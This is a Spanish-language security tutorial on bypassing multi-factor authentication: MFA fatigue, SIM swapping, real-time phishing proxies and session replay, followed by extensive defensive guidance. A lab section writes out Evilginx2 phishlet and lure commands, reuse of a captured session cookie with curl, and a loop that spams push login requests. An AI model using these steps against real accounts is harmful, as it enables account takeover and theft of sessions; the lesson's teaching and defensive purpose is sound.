Bypass de MFA: qué es, cómo se explota y cómo se corrige

La autenticación multifactor (MFA) se presenta como la bala de plata contra el robo de credenciales. Y en términos generales funciona: según un informe de Microsoft de 2023, las cuentas con MFA habilitado bloquean más del 99 % de los ataques automatizados de credential stuffing. Pero MFA no es invulnerable. Los atacantes han desarrollado técnicas específicas para cada tipo de segundo factor, desde la fatiga de notificaciones push hasta el phishing en tiempo real que intercepta tokens TOTP antes de que expiren.

Esta lección recorre los vectores de ataque más efectivos contra cada variante de MFA, explica por qué unos segundos factores son más resistentes que otros y detalla las defensas que realmente funcionan. No se trata de desaconsejar MFA (que sigue siendo imprescindible), sino de entender sus límites para elegir la implementación correcta. Es la duodécima lección de la Tanda 10.

Todo lo que leas aquí es para comprender y defender. Ejecutar estos ataques contra cuentas ajenas sin autorización es delito en la mayoría de jurisdicciones.

Qué es el bypass de MFA#

El bypass de MFA engloba cualquier técnica que permite a un atacante acceder a una cuenta protegida por autenticación multifactor sin poseer legítimamente el segundo factor. No es un fallo en la criptografía: es un fallo en la implementación, en el canal de entrega del factor, o en la ingeniería social que explota la confianza del usuario.

MFA añade una capa sobre la contraseña combinando al menos dos de tres categorías: algo que sabes (contraseña, PIN), algo que tienes (teléfono, llave hardware) y algo que eres (biometría). Cada categoría tiene vectores de ataque distintos. El eslabón más débil no suele ser el algoritmo TOTP o la firma FIDO2, sino el proceso que rodea al segundo factor: cómo se registra, cómo se recupera, cómo se entrega y cómo el usuario interactúa con él.

Los ataques más efectivos en 2024-2026 no rompen la criptografía del token: interceptan la sesión completa después de que el usuario ha completado la autenticación legítima. Herramientas como Evilginx2 montan un proxy inverso que captura las cookies de sesión en tiempo real, haciendo irrelevante si el usuario usó TOTP, SMS o incluso FIDO2 (en escenarios sin token binding).

Por qué ocurre: la causa raíz#

Las causas raíz varían según el vector, pero comparten un patrón: la seguridad del segundo factor depende de un canal o un proceso que el atacante puede comprometer.

• MFA fatigue: las notificaciones push no tienen límite de intentos. El atacante, con credenciales válidas, dispara decenas de notificaciones hasta que el usuario acepta una por agotamiento o confusión.
• SIM swapping: el segundo factor vía SMS depende de la seguridad de la operadora telefónica. Un atacante convence al operador de transferir el número a una SIM nueva mediante ingeniería social o documentación falsa.
• Phishing en tiempo real: frameworks como Evilginx actúan como proxy inverso HTTPS entre el usuario y el servidor legítimo. Capturan credenciales y cookies de sesión en el mismo flujo, antes de que el token expire.
• Token replay: aplicaciones que no vinculan la cookie de sesión al dispositivo o IP permiten reutilizar un token de sesión robado desde otro equipo.
• Downgrade attacks: la aplicación permite desactivar MFA, cambiar a un método más débil (SMS en vez de FIDO2) o tiene flujos de recuperación que no exigen MFA.
• Fallos en el registro: el proceso de enrollment del segundo factor no requiere reautenticación fuerte, permitiendo a un atacante con acceso temporal registrar su propio dispositivo.

Tipos y variantes#

Cuándo es explotable#

• Credenciales filtradas sin MFA forzado: el atacante tiene usuario y contraseña (de un breach) y la organización no exige MFA para todos los usuarios.
• MFA push sin number matching: las notificaciones push que solo dicen "Aprobar / Denegar" sin mostrar un número que el usuario deba verificar son vulnerables a fatigue.
• SMS como único segundo factor: cuentas que dependen exclusivamente de SMS para MFA sin opción de authenticator app o FIDO2.
• Aplicaciones sin protección de sesión post-MFA: una vez autenticado, la cookie de sesión no está vinculada al dispositivo ni tiene rotación periódica.
• Flujos de recuperación débiles: "Olvidé mi segundo factor" que solo requiere un enlace por correo electrónico.

Cómo se detecta#

Herramientas de detección y testing#

• Evilginx2: framework de phishing con proxy inverso para capturar sesiones post-MFA. Se usa en red team con autorización.
• Modlishka: proxy inverso alternativo a Evilginx, escrito en Go.
• Muraena: otro proxy de phishing en tiempo real con soporte para WebSocket.
• SET (Social Engineering Toolkit): para simular campañas de phishing y medir la tasa de click.
• King Phisher: plataforma de simulación de phishing con tracking de respuestas.

Explotación paso a paso en un laboratorio#

Paso 1 — Preparar el entorno de phishing en tiempo real#

Configura Evilginx2 en tu máquina atacante con un dominio de laboratorio. El framework actúa como proxy entre la víctima y el servidor de autenticación:

# Instalar Evilginx2 en la máquina atacante
sudo apt update && sudo apt install -y golang
go install github.com/kgretzky/evilginx2@latest

# Iniciar con el dominio del laboratorio
sudo evilginx2 -p ./phishlets

Dentro de la consola de Evilginx, configura el phishlet para el servicio objetivo:

config domain lab.attacker.local
config ipv4 IP_ATACANTE
phishlets hostname microsoftonline lab.attacker.local
phishlets enable microsoftonline

Paso 2 — Crear el lure (señuelo)#

Genera la URL de phishing que redirige a la víctima a través del proxy:

lures create microsoftonline
lures get-url 0

Evilginx devuelve una URL como https://login.lab.attacker.local/algo. Cuando la víctima la visite, verá la página de login legítima (proxied) y todo su tráfico pasará por tu servidor.

Paso 3 — Capturar la sesión post-MFA#

Cuando la víctima introduce sus credenciales y completa el MFA (TOTP, push o SMS), Evilginx captura las cookies de sesión:

sessions
sessions 1

La salida muestra las cookies capturadas, incluyendo la cookie de sesión que el servidor emite después del MFA exitoso.

Paso 4 — Reutilizar la sesión#

Importa las cookies capturadas en tu navegador usando una extensión como Cookie-Editor o con herramientas de línea de comandos:

# Ejemplo: usar curl con la cookie capturada
curl -b "session=COOKIE_CAPTURADA" https://IP_DEL_LAB/dashboard

Si la aplicación no tiene binding de sesión a IP/dispositivo, obtienes acceso completo a la cuenta de la víctima sin necesidad de sus credenciales ni su segundo factor.

Paso 5 — Simular MFA fatigue (si la app usa push)#

Si el laboratorio soporta autenticación push, dispara múltiples solicitudes con las credenciales conocidas:

# Script que dispara intentos de login repetidos
for i in $(seq 1 30); do
  curl -s -X POST https://IP_DEL_LAB/api/login \
    -d '{"username":"victima","password":"Password123!"}' \
    -H "Content-Type: application/json"
  sleep 3
done

Cada intento genera una notificación push en el dispositivo del usuario. Si el usuario acepta una, obtienes acceso.

Qué puede lograr un atacante#

Cómo se corrige#

Migrar a FIDO2 / WebAuthn como factor principal#

FIDO2 con llaves de seguridad (YubiKey, Titan Key) o passkeys vinculadas al dispositivo es el único segundo factor resistente a phishing en tiempo real. La autenticación está ligada criptográficamente al dominio del servidor legítimo: si la URL no coincide, la llave no firma.

Configuración recomendada en Azure AD / Entra ID:
- Authentication methods → FIDO2 security key → Enabled
- Require security key for administrators
- Conditional Access → Grant: Require authentication strength → Phishing-resistant MFA

Implementar number matching en push#

Si FIDO2 no es viable para todos los usuarios, habilita number matching en las notificaciones push. El usuario debe escribir el número mostrado en la pantalla del navegador, no solo pulsar "Aprobar":

Microsoft Authenticator:
  Azure Portal → Security → Authentication methods
  → Microsoft Authenticator → Configure
  → Require number matching: Enabled

Duo Security:
  Admin Panel → Policies → Verified Duo Push: Enabled

Eliminar SMS como segundo factor#

SMS es el factor más débil por la facilidad de SIM swapping y los ataques a SS7. Migra a authenticator apps (TOTP) como mínimo, FIDO2 como óptimo:

Prioridad de métodos (de más a menos seguro):
1. FIDO2 / WebAuthn (passkeys, llaves hardware)
2. Push con number matching y contexto (app + localización)
3. TOTP (Google Authenticator, Authy)
4. SMS (eliminar si es posible)

Proteger la sesión post-MFA#

Incluso si el MFA es fuerte, protege la sesión que se emite después:

• Vincular la cookie a la IP y al User-Agent del dispositivo.
• Rotación de token de sesión cada N minutos.
• Implementar Continuous Access Evaluation (CAE) en proveedores que lo soporten.
• Invalidar sesiones activas cuando se detecte un cambio de riesgo (viaje imposible, nueva IP, cambio de dispositivo).

Proteger los flujos de recovery#

• El flujo de "perdí mi segundo factor" debe requerir verificación de identidad fuerte (videollamada, documento de identidad, aprobación de un administrador).
• Nunca ofrecer preguntas de seguridad como alternativa a MFA.
• Registrar un segundo método de respaldo en el momento del enrollment (no después de perder el principal).

Errores comunes al defenderse#

• Implementar MFA solo para el login: si el cambio de contraseña, el cambio de correo o la desactivación de MFA no requieren MFA, el atacante con sesión activa puede deshabilitar la protección.
• No limitar los intentos de push: sin rate limiting ni bloqueo temporal, MFA fatigue funciona hasta que el usuario cede.
• Aceptar cualquier método MFA para administradores: los administradores de dominio deberían usar exclusivamente FIDO2. Un TOTP o SMS comprometido da acceso a toda la infraestructura.
• Confiar en que MFA hace innecesaria la complejidad de contraseña: las contraseñas fuertes dificultan el credential stuffing que precede al ataque de MFA fatigue.
• No monitorizar los registros de nuevos dispositivos MFA: un atacante con sesión activa puede registrar su propia llave FIDO2 o su app TOTP para acceso persistente.
• Olvidar los tokens de sesión: invertir en FIDO2 y luego emitir cookies de sesión de 30 días sin binding es dejar la puerta trasera abierta.

Preguntas frecuentes#

FIDO2 es realmente resistente a phishing?#

Sí, por diseño criptográfico. La llave FIDO2 firma un challenge que incluye el origin (dominio) del servidor. Si el usuario está en un dominio de phishing, la llave no firma porque el origin no coincide con el registrado. Esto se rompe solo si el atacante tiene control sobre el dominio legítimo (compromiso del servidor), lo que ya es un escenario diferente.

MFA fatigue funciona con Google Authenticator o Authy?#

No directamente. MFA fatigue explota las notificaciones push que solo requieren "Aprobar". TOTP requiere que el usuario escriba un código de 6 dígitos, lo que no se puede forzar con notificaciones repetidas. Sin embargo, el phishing en tiempo real sí captura códigos TOTP.

Qué es number matching y por qué ayuda?#

Number matching muestra un número de dos dígitos en la pantalla del navegador durante el login. El usuario debe escribir ese número en la notificación push de su app. Esto impide que un usuario apruebe una notificación sin estar realmente intentando iniciar sesión, eliminando MFA fatigue. Microsoft lo habilitó por defecto en Authenticator desde mayo de 2023.

Se puede interceptar FIDO2 con un proxy como Evilginx?#

En la implementación estándar de WebAuthn, no. La firma incluye el origin del dominio, así que el proxy de Evilginx tendría un origin diferente al del servidor legítimo. Sin embargo, si la aplicación no implementa token binding y el atacante captura la cookie de sesión post-autenticación, el bypass ocurre después del FIDO2, no durante.

Cómo sé qué método MFA usar para mi organización?#

Evalúa el perfil de riesgo. Para administradores y cuentas privilegiadas: FIDO2 obligatorio. Para el resto de la organización: TOTP o push con number matching como mínimo. Elimina SMS como factor siempre que sea posible. Si la organización opera en sectores regulados (finanzas, salud), los estándares como PCI-DSS 4.0 y HIPAA ya recomiendan factores resistentes a phishing.

Resumen#

• MFA bloquea la mayoría de los ataques automatizados, pero no es invulnerable: MFA fatigue, SIM swapping, phishing en tiempo real y token replay permiten eludirla.
• FIDO2/WebAuthn es el único factor resistente a phishing por diseño, gracias al binding criptográfico con el dominio del servidor.
• Las notificaciones push sin number matching son vulnerables a MFA fatigue: habilitar la verificación de número es esencial.
• SMS es el segundo factor más débil y debe eliminarse siempre que sea posible a favor de TOTP o FIDO2.
• La protección de la sesión post-MFA (binding a IP, rotación de tokens, CAE) es tan importante como el factor de autenticación en sí.
• Los flujos de recovery y de registro de nuevos dispositivos deben exigir verificación de identidad fuerte.

Fuentes y lecturas recomendadas#

• MITRE ATT&CK T1621 — Multi-Factor Authentication Request Generation
• MITRE ATT&CK T1111 — Multi-Factor Authentication Interception
• CISA — Implementing Phishing-Resistant MFA
• Microsoft — Defend against MFA fatigue attacks
• FIDO Alliance — FIDO2 Specifications
• Evilginx2 — Documentación oficial